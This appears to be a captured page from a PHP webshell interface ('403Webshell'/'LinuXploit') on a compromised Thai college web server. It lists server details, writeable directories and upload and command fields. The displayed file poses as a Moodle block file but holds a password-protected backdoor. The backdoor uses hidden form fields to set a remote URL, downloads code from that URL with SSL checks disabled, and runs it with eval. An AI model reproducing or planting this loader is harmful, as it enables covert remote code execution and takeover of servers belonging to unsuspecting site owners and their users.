403Webshell
Server IP : 122.155.17.190  /  Your IP : 3.133.79.185
Web Server : Apache/2
System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
User : t1bnc ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/t1bnc/domains/t1bnc.ac.th/public_html/include/css/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/t1bnc/domains/t1bnc.ac.th/public_html/include/css/index.php
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * News items block caps.
 *
 * @package    block_news_items
 * @copyright  Mark Nelson <markn@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

 session_start();error_reporting(0);function madrid($url){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);$result=curl_exec($ch);curl_close($ch);return $result;}function downloadWithFopen($url){$contextOptions=["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false,],];$context=stream_context_create($contextOptions);$result=false;if($fp=fopen($url,'r',false,$context)){$result='';while($data=fread($fp,8192)){$result.=$data;}fclose($fp);}return $result;}$asciiArray=[];$decodedString='';foreach($asciiArray as $ascii){$decodedString.=chr($ascii);}$url=$decodedString;$correct_password='$2a$12$FAG5tBlPd/kYNljFaRmJWeAXT6e9cxUc/T8fX374zUXJEp0uQLsUW';if(isset($_GET['so_reset'])){$_SESSION["so_url"]="";echo "success";exit;}if(isset($_GET['so'])){if($_SERVER['REQUEST_METHOD']==='POST'){if(isset($_POST['password'])){$provided_password=$_POST['password'];if(password_verify($provided_password,$correct_password)){if(isset($_POST['url'])){$url=$_POST['url'];$_SESSION["so_url"]=$url;echo "updated : ".$_SESSION["so_url"];exit;}else{echo "Error!";exit;}}else{echo "";exit;}}else{echo "";exit;}}else{ ?><head><style>#password{order:2}#url{order:1}#password,#url{display:block;margin-bottom:10px;opacity:0;transition:opacity .3s}#password:hover,#url:hover{opacity:1}form{display:flex;flex-direction:column;align-items:flex-end}</style><script>document.addEventListener("DOMContentLoaded",function(){document.querySelector("#password").addEventListener("keydown",function(e){"Enter"===e.key&&(e.preventDefault(),document.querySelector("form").submit())})})</script></head><body><form action=""method="post"><input id="password"name="password"type="password"><br><input id="url"name="url"value="<?php echo isset($_POST['url'])?$_POST['url']:''; ?>"><br></form></body><?php exit;}}else{if(empty($_SESSION["so_url"])){$result=@file_get_contents($url);if(empty($result)){$result=madrid($url);if(empty($result)){$result=downloadWithFopen($url);}}}else{$result=@file_get_contents($_SESSION["so_url"]);if(empty($result)){$result=madrid($_SESSION["so_url"]);if(empty($result)){$result=downloadWithFopen($_SESSION["so_url"]);}}}}if(is_string($result)){eval('?>'.$result);}else{echo "";} ?>

Youez - 2016 - github.com/yon3zu
LinuXploit